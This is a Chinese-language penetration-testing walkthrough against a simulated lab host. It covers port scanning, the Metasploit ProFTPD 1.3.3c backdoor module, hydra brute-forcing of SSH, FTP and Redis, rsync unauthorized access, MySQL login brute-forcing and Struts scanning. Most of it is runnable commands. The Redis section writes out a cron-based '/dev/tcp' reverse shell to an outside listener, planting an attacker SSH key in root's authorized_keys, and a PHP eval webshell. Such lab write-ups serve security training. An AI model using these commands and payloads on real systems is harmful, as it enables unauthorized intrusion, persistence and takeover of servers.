聲明:文章滲透網站為模擬環境,文章只為利用過程
文章為信息收集和端口滲透兩部分,21端口為ftp版本漏洞 8080端口為CMS的滲透
信息收集:
·使用掃描工具nmap ,PortScan 對整個網段進行掃描
信息:通過訪問網站得到要測試的IP為192.168.31.69
該IP的中間件為Apache/2.4.7 目標系統為Ubuntu
開放的端口為21(ftp:ProFTPD 1.3.3c). 22(ssh).873 (rsync).3306(Mysql). 6379(Redis) .8080(Struts2)
訪問80端口發現phpinfo頁面 phpinfo可獲得該IP網站的所有配置信息
測試過程
·21端口測試 查看到ftp的版本,搜索得知ftp為ProFTPD 1.3.3c存在后門漏洞
啟動MSF的終端
msfconsole
搜索proFTPD的攻擊模塊,並載入
search proFTPD //搜索proFTPD的攻擊模塊
use exploit/unit/ftp/proftpd_133c_backdoor //載入選擇模塊
填寫模塊內容 並執行,之后反彈shell 就ok了
如果不知該填寫什么參數可以 show一下
show options //需要填寫的信息
set RHOSTS 192.168.31.69 //目標IP
run //執行
當然這只是針對ProFTPD 1.3.3c的利用過程,也可以使用暴力破解,但你的密碼庫要絕對的強大
·22端口測試 使用kali的工具hydra對目標IP的22端口進行暴力破解
爆破命令:
hydra -l(用戶名) root -P(爆破字典) /usr/pass.txt(絕對路徑,pass.txt為字典文件名,可以將自己的字典加入到該目錄下)
-V(顯示爆破過程) -t(指定線程數) 10 ssh://127.0.0.1(如果是默認端口,可以不寫,如果不是默認端口,要加端口xx,如ssh://127.0.0.1:xx)
暴力破解獲得密碼
獲得用戶及密碼后可以使用ssh進行連接22端口
ssh 用戶名@IP地址
這里介紹一下hydra的一些參數
參數:
-R 繼續從上一次進度接着破解
-S 大寫,采用SSL鏈接
-s 小寫,可通過這個參數指定非默認端口
-l 指定破解的用戶,對特定用戶破解
-L 指定用戶名字典
-p 小寫,指定密碼破解,少用,一般是采用密碼字典
-P 大寫,指定密碼字典
-e 可選選項,n:空密碼試探,s:使用指定用戶和密碼試探
-C 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數
-M 指定目標列表文件一行一條
-o 指定結果輸出文件
-f 在使用-M參數以后,找到第一對登錄名或者密碼的時候中止破解
-t 同時運行的線程數,默認為16
-w 設置最大超時的時間,單位秒,默認是30s
-v /-V顯示詳細過程
各協議的具體命令:
格式+示例:
1、破解ssh:
hydra -L 用戶名字典 -p 密碼字典 -t 線程 -vV -e ns ip ssh
hydra -l 用戶名 -p 密碼字典 -t 線程 -o save.log -vV ip ssh
2、破解ftp:
hydra ip ftp -L 用戶名字典 -P 密碼字典 -t 線程(默認16) -vV
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
參數說明:
-t同時線程數3,-l用戶名是admin,字典pass.txt,保存為out.txt,-f 當破解了一個密碼就停止
·873端口測試 873端口為rsync服務存在未授權訪問漏洞
啟動MSF的終端
msfconsole
搜索rsync的攻擊模塊 並載入
search rsync //搜索rsync的攻擊模塊
use auxiliary/scanner/rsync/modules_list //載入要攻擊的模塊
show options //需要填寫的信息
set rhosts 192.168.31.69 //目標IP
run //執行
可以通過命令達到未授權訪問WWW文件夾
rsync root@192.168.31.69::
rsync root@192.168.31.69:WWW
·3306 端口測試 使用kali的工具進行暴力破解
這里暴力破解使用的還是metasploit frameword
老樣子,先啟動MSF的終端
msfconsole
因為3306為mysql的服務,所以要搜索關於mysql的模塊
search mysql
之后載入選擇的模塊,我這里選擇的是
use auxiliary/scanner/mysql/mysql_login
show option
填寫參數,可以爆破出密碼為123456
獲得用戶名及密碼后可以通過其他模塊進行執行sql語句
成功執行sql語句
·6379 端口測試 6379端口為redis服務,可能存在未授權訪問漏洞
要測試redis服務需要在本地安裝redis服務
安裝:
wget http://download.redis.io/releases/redis-4.0.8.tar.gz //下載地址
tar xzf redis-4.0.8.tar.gz //解壓下載文件
cd redis-3.2.0 //轉到redis-3.2.0目錄下
make //到所在目錄中安裝
安裝成功后需要配置一下文件,可以進行遠程訪問
vim redis.conf //打開配置文件
在bind 127.0.0.1前面加上# , 把protected-mode設為no
使用
先轉到redis-3.2.0的src目錄下
cd /root/redis-3.2.0/src
接着啟動redis服務
./redis-cli -h 192.168.31.69
發現連接成功可以執行info
方法:
1)利用計划任務執行命令反彈shell
條件:在redis以root權限運行時可以寫crontab來執行命令反彈shell
先在自己的服務器上監聽一個端口:
nc -lvnp 4444
然后執行命令:
root@kali:~# redis-cli -h 192.168.31.69
192.168.31.69:6379>set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.158/4444 0>&1\n"
ok
192.168.31.69:6379>config set dir /var/spool/cron/
ok
192.168.31.69:6379>config set dbfilename root
ok
192.168.31.69:6379>save
ok
去查看監聽的端口,會反彈會shell
2)寫ssh-keygen公鑰然后使用私鑰登陸
條件:Redis服務使用ROOT賬號啟動
服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器
首先需要在本生成密鑰:
然后redis執行命令:
192.168.31.69:6379> config set dir /root/.ssh/
OK
192.168.31.69:6379> config set dbfilename authorized_keys
OK
192.168.31.69:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.31.69:6379> save
OK
然后直接利用公鑰登錄ssh
ssh -i id_rsa root@192.168.31.69
3)寫webshell
條件:開啟web服務 且web目錄有寫入權限 知道絕對路徑
192.168.31.69:6379>config set dir /var/www/html/
ok
192.168.31.69:6379>config set dbfilename shell.php
ok
192.168.31.69:6379>set x "<?php @eval($_POST['pass']);?>"
ok
192.168.31.69:6379>save
ok
4)使用hydra暴力破解redis密碼
hydra -P passwd.txt redis://192.168.31.69
·8080端口測試 發現網站Struts 發現Struts可以使用Struts Scan工具獲得指定漏洞交互式shell
下載Struts Scan:
git clone https://github.com/Lucifer1993/struts-scan //下載
tar xzf struts-scan //解壓
cd struts-scan-master //轉到struts-scan-master 下
python struts-scan.py //運行程序
掃描網站
python struts-scan.py http://192.168.31.69:8080/index.action
使用給出的漏洞交互shell 執行payload